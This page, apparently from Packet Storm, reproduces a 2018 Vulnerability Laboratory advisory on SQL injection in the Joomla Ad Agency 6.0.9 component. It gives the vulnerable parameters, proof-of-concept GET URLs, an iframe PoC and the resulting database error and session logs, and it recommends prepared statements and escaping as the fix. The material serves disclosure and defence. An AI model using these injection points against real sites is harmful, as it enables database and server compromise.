Twenty Year Anniversary

Joomla Ad Agency 6.0.9 SQL Injection

Joomla Ad Agency 6.0.9 SQL Injection
Posted Jan 5, 2018
Authored by Benjamin Kunz Mejri | Site

Joomla Ad Agency component version 6.0.9 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 670141304b2eb74105c1d66ad593dbf5

Joomla Ad Agency 6.0.9 SQL Injection

Change Mirror Download
Document Title:
iJoomla com_adagency 6.0.9 - SQL Injection Vulnerabilities

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
SQL Injection

Current Estimated Price:
2.000a! - 3.000a!

Product & Service Introduction:
Ad Agency is the #1 advertising extension for Joomla! Start generating income from your traffic today by creating an advertising program.
d Agency's front-end is completely responsive. It looks great on any device, no matter the size. Your advertising campaigns are now
more flexible than ever! Youare free to choose the number of ads to display horizontally and vertically, so you can have several ads in
one row, in more than one row, or create multiple columns of ads.It's completely up to you!

(Copy of the Vendor Homepage:

Abstract Advisory Information:
The vulnerability laboratory core research team discovered multiple remote sql-injection vulnerabilities in the iJoomla (Joomla) com_adagency 6.0.9 component.

Vulnerability Disclosure Timeline:
2018-01-04: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: com_adagency - Component (Joomla) 6.0.9

Exploitation Technique:

Severity Level:

Technical Details & Description:
Multiple remote sql-injection vulnerabilities has been discovered in the official iJoomla com_adagency v6.0.9 content management system component.
The sql-injection vulnerability allows remote attackers to inject own sql commands to compromise the database management system or web-application.

The sql-injection vulnerabilities are located in the `advertiser_status` and `status_select` parameters of the `com_adagency` component module.
Remote attackers are able to perform malicious GET method request to execute sql command via vulnerable parameters. Remote attackers can trigger
the issue depending on the access privileges with a restricted or unauthenticated user account. The vulnerability is a classic remote select sql
injection vulnerability in the `com_adagency` component module.

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] com_adagency

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] advertiser_status
[+] status_select

Proof of Concept (PoC):
The remote sql-injection web vulnerabilities can be exploited by remote attackers with privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload Exploitatation (status_select & advertiser_status)
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]--
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3

PoC: Exploit
<title>SQL-Injection PoC (status_select & advertiser_status)</title>
<iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=
<iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=

--- PoC Exception & Error Logs ---
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near line 1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC' at line 1 SQL=SELECT, advertis.aid, advertis.ordering,,
advertis.approved, advertis.user_id,,, user.block, user.username, user.registerDate, count( count FROM
#__ad_agency_advertis as advertis LEFT OUTER JOIN #__users as user on LEFT JOIN #__ad_agency_campaign as c on
c.aid=advertis.aid WHERE 1=1 AND<>'' AND advertis.approved LIKE '%-1'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
''Y-1'' AND cb.`campaign_id`=3 GROUP BY ORDE' at line 15 SQL=SELECT b . * , campaign_id, campaign_name, a.aid AS
advertiser_id2, AS advertiser, concat( width, 'x', height ) AS size_type, mid, m.title zone_name FROM #__ad_agency_banners
AS b LEFT OUTER JOIN #__ad_agency_advertis AS a ON b.advertiser_id = a.aid LEFT JOIN #__ad_agency_campaign_banner AS cb ON cb.banner_id = LEFT JOIN #__ad_agency_campaign AS camp ON = cb.campaign_id LEFT JOIN #__ad_agency_order_type AS p ON camp.otid = p.tid LEFT
JOIN #__modules AS m ON = WHERE 1=1 AND b.approved = 'Y-1'' AND cb.`campaign_id`=3 GROUP BY ORDER BY b.ordering ASC , DESC LIMIT 0,30

--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3
Mime Type[text/html]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]
Cookie[dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11; currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F;
em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876; 350a4e86045327a856d5c0333a428604=ukf6ldgrs5ekdrukh8p8s422k0; activeProfile=0]
Response Header:
Content-Type[text/html; charset=UTF-8]
Status: 200[OK]
GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]**
Mime Type[text/html]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]
Cookie[jsju=0; dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11;
350a4e86045327a856d5c0333a428604=ivi4d2j9782af9h0kntmqi6m43; activeProfile=0]
Response Header:
Content-Type[text/html; charset=UTF-8]


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and restriction of the vulnerable `advertiser_status` and `status_select` parameters in
the com_adagency component. Disallow the usage of special chars, escape the entries and use a prepared statement to prevent exploitation
of the vulnerabilities.

Note: The vulnerability has been resolved in the last com_adagency component updates in 2017 Q1-4.

Security Risk:
The security risk of the remote sql injection web vulnerabilities in the com_adagency 6.0.9 joomla component is estimated as high (CVSS 7.1).

Credits & Authors:
Benjamin K.M. [] -

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: - -
Programs: - -
Feeds: - -
Social: - -

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/



RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    15 Files
  • 14
    Dec 14th
    14 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2018 Packet Storm. All rights reserved.

Security Services
Hosting By